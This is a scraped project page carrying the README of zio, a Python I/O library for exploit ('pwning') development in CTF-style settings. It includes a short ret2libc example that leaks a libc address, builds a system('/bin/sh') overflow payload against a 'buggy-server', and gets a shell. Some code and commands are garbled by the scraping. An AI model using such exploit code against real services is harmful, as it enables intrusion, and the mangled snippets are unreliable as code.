Need help with zio?
Click the “chat” button below for chat support from the developer who created it, or find similar developers for support.

About the developer

358 Stars 86 Forks Other 161 Commits 3 Opened issues


unified io lib for pwning development written in python

Services available


Need anything else?

Contributors list

# 102,318
155 commits
# 7,246
1 commit
# 510,722
1 commit


Build Status support-version

zio is an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io.

The primary goal of zio is to provide unified io interface between process stdin/stdout and TCP socket io. So when you have done local pwning development, you only need to change the io target to pwn the remote server.

The following code illustrate the basic idea.

from zio import *

is_local = True

if is_local: io = zio('./buggy-server') # used for local pwning development else: io = zio(('', 1337)) # used to exploit remote service

io.read_until(b'Welcome Banner') io.write(your_awesome_ropchain_or_shellcode)

hey, we got an interactive shell!



  • Self contained single file installation, no extra dependency required. Copy it as you go and fire with no pain even without internet access.
  • Support both python2 and python3, no need to worry about the python version installed on some weired jump server provided by unknown.
  • Easy to learn and use.

If you want advanced features such as ELF parsing and more, try pwntools.


zio use SATA License (Star And Thank Author License), so you have to star this project before using. Read the license carefully.

Working Environment

  • Linux or OSX
  • Python 2.6, 2.7, 3.x

for windows support, a minimal version(socket-io only) mini_zio is provided.


This is a single-file project so in most cases you can just download and start using.

pip is also supported, so you can also install by running

$ pip install zio


from zio import *

is_local = True

if is_local: io = zio('./buggy-server') else: io = zio((pwn.server, 1337))

for i in range(1337): io.writeline(b'add ' + str(i)) io.read_until(b'>>')

io.write(b"add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + b"A" * 49 + b"\nshow\n") io.read_until(b'A' * 49) libc_base = l32( - 0x1a9960 libc_system = libc_base + 0x3ea70 libc_binsh = libc_base + 0x15fcbf payload = b'A' * 64 + l32(libc_system) + b'JJJJ' + l32(libc_binsh) io.write(b'info ' + payload + b"\nshow\nexit\n") io.read_until(b">>")

We've got a shell;-)



bytes vs unicode

zio works at

level. All params and return value should be bytes. (Although some methods support unicode for compatibility and fault tolerance)

The recommended practice is to use b'xxx' everywhere, which is supported by both python2 and python3 without ambiguity.

about line break and carriage return

Just don't read b'\n' or b'\r', use


Play with cmdline

Act like netcat

$ printf 'GET / HTTP/1.0\r\n\r\n' | ./ 80


$ echo '3334350a' | ./ -d unhex -w none -r none -i pipe -o pipe --show-input=0 cat

hexcat some file

$ cat somefile | ./ -e hex -w none -r none -i pipe -o pipe --show-input=0 cat

show file in string repr

$ cat somefile | ./ -e repr -w none -r none -i pipe -o pipe --show-input=0 cat

log vim key sequences and underlying io

$ zio --debug=zio.log vim

Other fun usage

Talk with vim using code.

In [1]: from zio import *

In [2]: io = zio('vim', stdin=TTY, stdout=TTY)

In [3]: io.writeline(b'ihello world') ihello world Out[3]: 13

In [4]: io.writeline(b'\x1b:w hand_crafted_vim_file.txt') w hand_crafted_vim_file.txt Out[4]: 30

In [5]: io.writeline(b':q') :q Out[5]: 3

In [6]: io.exit_status() Out[6]: 0

In [7]: !cat hand_crafted_vim_file.txt hello world

You can even talk with vim for prefix and then interact by hand to continue normal action.

Thanks (Also references)

  • pexpect borrowed a lot of code from here
  • sh
  • python subprocess module
  • TTY related

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.